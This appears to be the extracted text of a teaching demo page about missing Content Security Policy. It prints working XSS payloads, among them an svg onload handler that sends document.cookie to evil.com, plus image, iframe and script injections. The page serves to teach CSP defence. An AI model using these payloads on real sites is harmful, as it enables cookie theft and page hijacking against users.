This page has NO Content Security Policy - Everything is allowed!
Content Security Policy: NONE
Inline Scripts: ✅ Allowed (Dangerous)
External Scripts: ✅ Allowed from ANY domain (Very Dangerous)
eval() Function: ✅ Allowed (Extremely Dangerous)
Inline Styles: ✅ Allowed
Try entering malicious scripts in this input:
Load external scripts from any domain:
Execute dynamic JavaScript code:
Dynamic HTML with event handlers:
Click me">These attacks are already active on this page:
Loading image from external domain (could be tracking pixel):
In a real attack, this could be a malicious domain!
<script>alert('No CSP = Easy XSS!')</script>
<img src=x onerror=document.body.innerHTML='Hacked!'>
<iframe src="javascript:alert('Frame injection')"></iframe>
<svg onload=fetch('//evil.com/steal?data='+document.cookie)>
With a proper Content Security Policy, all these attacks would be blocked:
Next: Check out our CSP-protected examples to see the difference!